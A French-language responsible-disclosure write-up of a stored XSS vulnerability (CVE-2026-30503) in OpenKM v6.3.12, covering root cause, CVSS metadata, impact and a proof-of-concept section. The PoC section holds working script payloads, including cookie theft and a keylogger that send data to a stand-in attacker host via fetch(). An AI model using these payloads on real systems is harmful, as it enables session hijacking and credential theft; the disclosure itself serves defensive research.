
Divulgation détaillée de CVE-2026-30503, une vulnérabilité XSS stockée dans OpenKM v6.3.12. Comprend l'analyse de la cause racine, les charges utiles PoC, l'évaluation de l'impact et les recommandations de correction pour les chercheurs en sécurité et les pentesteurs.
Découvert et signalé par Dharmendra Kumar — Chercheur en sécurité
Cybersécurité | Test d'intrusion | Recherche de vulnérabilités | Divulgation responsable
Ce dépôt documente la divulgation responsable de CVE-2026-30503, une vulnérabilité de Cross-Site Scripting stocké (XSS stocké) identifiée dans OpenKM v6.3.12 — un système de gestion de documents open-source largement utilisé dans les environnements d'entreprise.
La vulnérabilité permet à un attaquant authentifié d'injecter du JavaScript malveillant persistant dans l'application, qui s'exécute dans le contexte navigateur de tout utilisateur (y compris les administrateurs) qui consulte ultérieurement le contenu affecté.
⚠️ Sévérité : Élevée | Vecteur d'attaque : Réseau | Privilèges requis : Faibles | Interaction utilisateur : Requise
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-30503 |
| Produit | OpenKM |
| Version affectée | v6.3.12 |
| Classe de vulnérabilité | Cross-Site Scripting stocké (XSS stocké) |
| CWE | CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération de pages web |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Chercheur | Dharmendra Kumar |
| Type de divulgation | Responsable / Coordonnée |
OpenKM est un système de gestion de documents (DMS) gratuit et open-source qui fournit une interface web pour gérer, auditer et distribuer des documents professionnels. Il est utilisé par des entreprises, des organismes gouvernementaux et des établissements d'enseignement dans le monde entier.
v6.3.12De multiples vulnérabilités de Cross-Site Scripting stocké (XSS stocké) ont été découvertes dans OpenKM v6.3.12. Un attaquant disposant d'un accès authentifié à faibles privilèges peut injecter des charges utiles JavaScript arbitraires dans un ou plusieurs champs de saisie. Ces charges utiles sont stockées de manière permanente dans le backend de l'application et exécutées automatiquement dès que tout utilisateur — y compris les administrateurs — accède à la page ou au composant concerné.
Contrairement au XSS réfléchi, qui nécessite que la victime clique sur un lien spécialement conçu, les charges utiles de XSS stocké sont intégrées dans l'application elle-même, ce qui les rend nettement plus dangereuses et persistantes.
La vulnérabilité provient de trois faiblesses combinées dans le pipeline de traitement des entrées de l'application :
User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
| Faiblesse | Description |
|---|---|
| ❌ Validation d'entrée manquante | L'application ne restreint ni ne nettoie les caractères spéciaux (<, >, ", ', ;) dans les champs fournis par l'utilisateur |
| ❌ Encodage de sortie manquant | Les valeurs stockées sont rendues directement dans le HTML sans encodage en entités HTML |
| ❌ Rendu DOM non sécurisé | Les données fournies par l'utilisateur sont intégrées dans le contexte DOM sans CSP ni contrôles de nettoyage |
Une exploitation réussie de cette vulnérabilité peut entraîner :
| Risque | Description |
|---|---|
| 🍪 Vol de session | Voler les jetons de session authentifiés via l'exfiltration de document.cookie |
| 👤 Prise de contrôle de compte | Compromettre les comptes des victimes, y compris les comptes administrateur |
| 🔐 Capture de mots de passe | Injecter des formulaires de phishing pour capturer les identifiants de connexion |
| 📤 Exfiltration de données | Extraire silencieusement des documents ou métadonnées sensibles du DMS |
| ⚙️ Actions non autorisées | Effectuer des opérations privilégiées au nom de la victime (supprimer/modifier des documents) |
| 🎯 Ciblage des administrateurs | La charge utile s'exécute dans le panneau d'administration lorsqu'un administrateur examine le contenu |
| 🔄 Propagation de ver | Charge utile XSS auto-réplicative pouvant se propager entre utilisateurs |
⚠️ Avertissement : Cette PoC est partagée strictement à des fins éducatives et de recherche en sécurité dans le cadre de principes de divulgation responsable. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
// PoC de base — démontre l'exécution de script
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Exfiltration du jeton de session
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Injection de keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>